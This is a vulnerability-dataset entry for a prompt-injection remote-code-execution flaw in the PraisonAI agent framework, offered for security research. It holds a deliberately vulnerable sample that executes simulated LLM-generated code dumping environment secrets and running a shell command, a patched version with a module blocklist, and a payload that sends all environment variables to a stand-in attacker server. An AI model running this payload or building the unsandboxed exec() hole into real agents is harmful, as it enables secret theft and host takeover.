VAITP Dataset

← Back to the dataset

CVE-2026-61447

PraisonAI RCE via prompt injection executing unsanitized LLM-generated code.

  • CVSS 10.0
  • CWE-94
  • Input Validation and Sanitization
  • Remote

PraisonAI before 1.6.78 contains a remote code execution vulnerability in CodeAgent._execute_python() that executes LLM-generated Python code without AST validation, import restrictions, or sandbox enforcement. Attackers can influence LLM output through prompt injection to exfiltrate all environment secrets and execute arbitrary code on the host system.

CVSS base score
10.0
Published
2026-07-11
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PraisonAI
Fixed by upgrading
Yes

Solution

Upgrade PraisonAI to version 1.6.78 or later.

Vulnerable code sample

import os

class CodeAgent:
    """
    A simulated agent that generates and executes Python code based on a task.
    This version is vulnerable as it directly executes LLM-generated code.
    """
    def __init__(self, task: str):
        self.task = task
        print(f"[+] Agent initialized for task: '{self.task}'")

    def _generate_code_from_llm(self) -> str:
        """
        Simulates an LLM generating code.
        In a real attack, prompt injection would cause the LLM to return
        this malicious code instead of code for the intended task.
        """
        print("[~] Simulating LLM code generation (influenced by prompt injection)...")
        
        # Malicious code designed to exfiltrate secrets and execute a command.
        malicious_code = """
import os
import sys

# 1. Exfiltrate environment variables
print("--- EXFILTRATING ENVIRONMENT SECRETS ---")
for key, value in os.environ.items():
    print(f"{key}={value}")
print("--- END OF EXFILTRATION ---\\n")

# 2. Execute an arbitrary command on the host
print("--- EXECUTING ARBITRARY HOST COMMAND ---")
command = 'echo "Vulnerable code was executed" > pwned_by_llm.txt'
os.system(command)
print(f"Executed command: '{command}'")
print("--- COMMAND EXECUTION FINISHED ---")
"""
        return malicious_code

    def _execute_python(self, code: str):
        """
        VULNERABLE METHOD: Executes Python code from a string without any
        sandboxing, validation, or restrictions.
        """
        print("[!] EXECUTING CODE WITHOUT SANDBOXING...")
        try:
            # The core of the vulnerability: using exec() on untrusted input.
            exec(code, globals())
        except Exception as e:
            print(f"[Error] Code execution failed: {e}")

    def run(self):
        """
        Main execution flow for the agent.
        """
        generated_code = self._generate_code_from_llm()
        self._execute_python(generated_code)
        print("\n[+] Agent task finished.")


# --- Demonstration of the vulnerability ---
if __name__ == "__main__":
    # The user provides a seemingly harmless prompt.
    user_prompt = "Please list all .py files in the current directory."
    
    # An attacker uses prompt injection to make the LLM ignore the user's
    # prompt and generate malicious code instead.
    
    agent = CodeAgent(task=user_prompt)
    agent.run()
    
    print("\n[!] Check your directory for a file named 'pwned_by_llm.txt'.")

Patched code sample

import ast

# A list of modules that are considered dangerous and should not be imported.
DISALLOWED_MODULES = {
    'os',
    'sys',
    'subprocess',
    'shutil',
    'socket',
    'requests',
    'urllib',
    'eval',
    'exec',
    'importlib'
}

# A whitelist of safe built-in functions for the execution environment.
SAFE_BUILTINS = {
    'print', 'len', 'str', 'int', 'float', 'list', 'dict', 'set', 'tuple',
    'range', 'abs', 'min', 'max', 'sum', 'sorted', 'zip', 'enumerate',
    'round', 'pow', 'all', 'any'
}

class ImportValidator(ast.NodeVisitor):
    """
    An AST visitor that checks for disallowed imports.
    """
    def visit_Import(self, node):
        for alias in node.names:
            if alias.name in DISALLOWED_MODULES:
                raise PermissionError(f"Import of disallowed module '{alias.name}' is forbidden.")
        self.generic_visit(node)

    def visit_ImportFrom(self, node):
        if node.module in DISALLOWED_MODULES:
            raise PermissionError(f"Import from disallowed module '{node.module}' is forbidden.")
        self.generic_visit(node)

class CodeAgent:
    """
    A fixed version of the agent that validates and sandboxes code execution.
    """
    def _execute_python(self, code: str):
        """
        Executes LLM-generated Python code after validation and within a sandbox.
        """
        try:
            # 1. AST Validation: Parse the code into an Abstract Syntax Tree.
            # This will fail with a SyntaxError if the code is not valid Python.
            tree = ast.parse(code)

            # 2. Import Restriction: Use a visitor to traverse the AST and
            # check for forbidden import statements.
            validator = ImportValidator()
            validator.visit(tree)

            # 3. Sandbox Enforcement: Execute the code with a restricted environment.
            # Only whitelisted built-ins are available, and no other globals.
            restricted_globals = {
                "__builtins__": {k: v for k, v in __builtins__.__dict__.items() if k in SAFE_BUILTINS}
            }
            
            print("--- Executing sandboxed code ---")
            exec(code, restricted_globals, {})
            print("--- Execution finished successfully ---")

        except SyntaxError as e:
            print(f"Execution failed: Invalid Python syntax. {e}")
        except PermissionError as e:
            print(f"Execution failed: Security policy violation. {e}")
        except Exception as e:
            print(f"Execution failed: An unexpected error occurred. {e}")

Payload

import os
import json
import urllib.request

url = "https://attacker-controlled-server.com/exfil"
data = json.dumps(dict(os.environ)).encode("utf-8")
req = urllib.request.Request(url, data=data, headers={'Content-Type': 'application/json'})
urllib.request.urlopen(req)

Cite this entry

@misc{vaitp:cve202661447,
  title        = {{PraisonAI RCE via prompt injection executing unsanitized LLM-generated code.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-61447},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-61447/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::